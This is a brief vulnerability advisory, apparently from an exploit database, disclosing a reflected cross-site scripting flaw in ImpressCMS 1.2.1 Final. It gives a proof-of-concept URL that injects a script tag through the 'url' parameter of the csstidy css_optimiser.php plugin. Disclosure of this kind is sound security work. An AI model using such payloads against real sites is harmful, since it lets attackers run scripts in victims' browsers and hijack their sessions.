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Software................ImpressCMS 1.2.1 Final
Vulnerability...........Reflected Cross-site Scripting
Download................http://www.impresscms.org/
Release Date............7/11/2010
Tested On...............Windows Vista + XAMPP
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Author..................John Leitch
Site....................http://cross-site-scripting.blogspot.com/
Email...................john.leitch5@gmail.com
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--Description--

A reflected cross-site scripting vulnerability in ImpressCMS 1.2.1
Final can be exploited to execute arbitrary JavaScript.


--PoC--

http://localhost/impresscms/plugins/csstidy/css_optimiser.php?url=%22%3E%3Cscript%3Ealert(0)%3C/script%3E